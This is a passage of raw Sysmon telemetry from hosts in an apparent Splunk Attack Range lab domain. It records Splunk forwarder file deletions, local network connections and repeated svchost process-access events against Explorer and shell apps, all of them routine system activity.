Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53A642C56CBEFF5AE8ED4553C7396375,SHA256=6912A611975496EF31C37A85CAC9B959EB6397A04D0E4D7F07988D27D0332461,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:42.380{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59455-false10.0.1.12-8000- 23542300x800000000000000048201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:45.681{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6DAB9243FEB2DC47274B3424C09FC8C,SHA256=C44D507C8722BFD4F3323A5A2CBEA7F45F7F28EB9F541489F532C9E7E82C4C64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015937Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:45.730{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A584524C8B15D9877131ABA6E1F53CC4,SHA256=B02C353C50B30A26C7FE1D64C8C80F6DBDF56B03CEB94CF42181FE688B3FA752,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015938Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:46.745{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69A3890356CEF4B880B4152D93E98063,SHA256=614AD5AECD0B4ED6C55806E7CF2A54E72BBDE0385A5AA9C5B2EA55250B4EA6EA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:46.697{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD8208D27F6B9D9C8BF8CD0F8B867328,SHA256=683B43562888AF86EF5A6DB2101FEF059319273E46DFD2DB7588710044F7D23E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16585753E5EA899251EFEE2313C53F4D,SHA256=853897026D2869B9D2B7D48D7495E86C2475B5E4EF8F0CF19FA52C6E751EAA96,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015940Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:47.776{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DBD15F15F50B49B3550A7C848E91B99E,SHA256=2CBA41193C27ED845E391C2F0EE247350E1A1A5834D82718C13928C63B51EEDC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015939Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:46.490{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50255-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000048233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 